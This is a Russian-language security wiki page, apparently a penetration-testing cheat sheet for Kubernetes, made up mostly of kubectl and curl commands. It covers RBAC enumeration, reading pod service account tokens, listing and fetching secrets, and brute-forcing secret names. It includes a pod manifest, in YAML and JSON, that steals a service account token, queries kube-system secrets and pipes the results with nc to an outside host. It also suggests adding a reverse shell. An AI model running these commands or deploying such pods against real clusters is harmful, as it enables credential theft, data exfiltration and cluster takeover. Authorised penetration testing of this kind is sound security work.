Kubernetes

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск


Статья посвящена тестированию на проникновение Kubernetes.


Предварительно статья разделена на сервисы и как их можно найти, эксплуатировать и может быть закрепиться.

Общее

Запросы к API (шпаргалка)

https://kubernetes.io/ru/docs/reference/kubectl/cheatsheet/

Настройка утилит

kubectl

Для общения с API можно воспользоваться стандартным ПО kubectl.

Пример запроса:

kubectl get secrets


Запросы можно делать inline с токеном:

kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify=true

curl

Для curl кроме стандартных параметров (токен, неймспейс) потребуется адрес API-сервера.

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
# Лишняя строка, но можно использовать с curl --cacert ${CACERT}
# export CACERT=${SERVICEACCOUNT}/ca.crt

curl -k --header "Authorization: Bearer ${TOKEN}"

Текущая конфигурация

Конфиг

Общая информация

kubectl config view


Пользователи

Список пользователей

kubectl config get-users
kubectl config view -o jsonpath='{.users[*].name}'

Удалить пользователя

kubectl config unset users.foo

Контексты

Список контекстов

kubectl config get-contexts


Текущий контекст

kubectl config current-context

Установить контекст

kubectl config use-context my-cluster-name

Namespace

Установить namespace по-умолчанию

kubectl config set-context --current --namespace=ggckad-s2

Pod

Локальные файлы

ca.crt - сертификат для проверки коммуникаций (можно отключить в curl функцией -k)

namespace - текущее рабочее пространство

token - сервисный токен Pod'а

Где их обычно можно найти:

/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccount

Переменные окружения

Команда для получения адреса API-сервера (обычно переменная KUBECONFIG):

(env | set) | grep -i "kuber|kube"


Role-Based Access Control

Система по управлению ролями. Если проще - просто система контроля доступа, которая говорит куда у нас есть доступ и что это за доступ (get, list, update, delete).


Как правило, неправильная настройка доступа может привести к проблемам безопасности.

Список привилегий

Для получения списка доступных ресурсов у сервисного аккаунта, требуется выполнить следующую команду:

# Весь список привилегий
kubectl get rolebindings,clusterrolebindings --all-namespaces -o custom-columns='KIND:kind,NAMESPACE:metadata.namespace,NAME:metadata.name,SERVICE_ACCOUNTS:subjects[?(@.kind=="ServiceAccount")].name' | grep service_account_name
curl -s $APISERVER/apis/rbac.authorization.k8s.io/v1/clusterrolebindings?limit=500 --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
# удачи парсить:)

Там же можно посмотреть информацию о роли RBAC. Или сделать отдельные запросы:

kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml

Другие команды для получения информации о текущей роли:


# Текущие привилегии
kubectl auth can-i --list
## use `--as=system:serviceaccount:<namespace>:<sa_name>` to impersonate a service account

# Список ролей кластера
kubectl get clusterroles
kubectl describe clusterroles

# Список Cluster Roles Bindings
kubectl get clusterrolebindings
kubectl describe clusterrolebindings

# Список ролей
kubectl get roles
kubectl describe roles

# Список Role Buildings
kubectl get rolebindings
kubectl describe rolebindings


Далее проблемы будут разделены на ресурсы, к которым был предоставлен доступ

secrets

Относится к etcd - хранилище секретов.

Доступ list

Позволяет получить список всех секретов в namespace.

kubectl

kubectl get secrets


HTTP API

curl -s $APISERVER/api/v1/secrets/ --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt

curl -s $APISERVER/api/v1/namespaces/kube-system/secrets/ --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt

Доступ get

Позволяет прочитать секрет.

Проблема в том, что при этом не всегда у нас будет доступ list на получение списка секретов, но тк идентификатор секрета - это 5 символов из A..Z, поэтому его возможно перебрать.

Пример названия секрета пользователя drakylar-admin:

drakylalr-admin-token-sgjbp

где sgjbp - случайная строка.


kubectl

Получить секрет по имени

kubectl get secrets secret_name -o yaml

curl

curl -s $APISERVER/api/v1/namespaces/default/secrets/drakylar-admin-token-sgjbp --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt

Привилегии - pods

Доступ create

Позволяет создавать новые Pod'ы.

В случае, если у созданного пода будет прикреплен сервисный аккаунт с другими привилегиями, то мы можем забрать токен из него и работать от имени сервисного аккаунта.

kubectl

Для этого требуется создать yaml-файл со следующим содержимым:

apiVersion: v1
kind: Pod
metadata:
  name: alpine
  namespace: kube-system
spec:
  containers:
  - name: alpine
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
  serviceAccountName: bootstrap-signer
  automountServiceAccountToken: true
  hostNetwork: true

И выполнить его командой:

kubectl apply -f malicious-pod.yaml

Этот скрипт создаст конейнет-Pod и при запуске контейнер подключится к 192.168.154.228:6666 и выведет информацию о сервисном аккаунте который будет закреплен за данным контейнером. Это позволит нам выполнять запросы от его лица не заходя на виртуалку.

curl

Для запросов через curl, требуется создать json-файл.

{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {
        "name": "alpine"
    },
    "spec": {
        "containers": [
            {
                "name": "alpine",
                "image": "alpine",
                "commands": ["/bin/sh"],
                "args": ["-c", "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"],
                "serviceAccountName" : "bootstrap-signer",
                "automountServiceAccountToken": true,
                "hostNetwork": true
            }
        ]
    }
}

И выполнить запрос:

curl -v -s $APISERVER/api/v1/namespaces/default/pods -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json

Но! Если вам вдруг требуется еще и сканировать, то лучше использовать созданный контейнер для этого. Например, вписав в конфиг команду на реверс-шелл.